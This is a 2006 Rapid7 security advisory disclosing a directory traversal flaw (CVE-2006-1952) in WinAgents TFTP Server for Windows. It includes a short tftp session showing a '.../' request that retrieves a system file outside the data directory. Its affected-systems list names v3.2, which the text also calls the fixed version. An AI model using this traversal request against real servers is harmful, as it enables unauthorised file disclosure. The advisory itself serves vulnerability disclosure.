Back to Advisories


Rapid7 Security Advisory R7-0020: Directory traversal vulnerability in WinAgents TFTP Server for Windows

CVE: CVE-2006-1952


April 24, 2006 - Rapid7 has found a directory traversal vulnerability in WinAgents TFTP Server for Windows. This vulnerability allows remote users to download any files outside of the server's TFTP data directory.

Affected system(s):


  • WinAgents TFTP Server for Windows v3.1 and earlier


  • WinAgents TFTP Server for Windows v3.2

Vendor Info

WinAgents Software Group

Detailed Analysis

TFTP servers are often used to transfer configuration files and operating system images to routers. TFTP is also used for devices that support PXE booting.

Most implementations do trivial filtering on requested filenames such as "../filename" to prevent easy directory traversal. However, it is easy to bypass this filtering by manipulating the filename being requested.

With the WinAgents TFTP server, any file on the system can be downloaded using a request similar to the following:

$ tftp
tftp> get .../WINNT/win.ini
Received 582 bytes in 0.1 seconds
tftp> quit

$ cat win.ini
; for 16-bit app support
[mci extensions]


According to the vendor, WinAgents TFTP server version 3.2 fixes this directory traversal vulnerability. For more information, see

Disclaimer & Copyright

Rapid7, LLC. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

This advisory Copyright (C) 2005 Rapid7, LLC. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.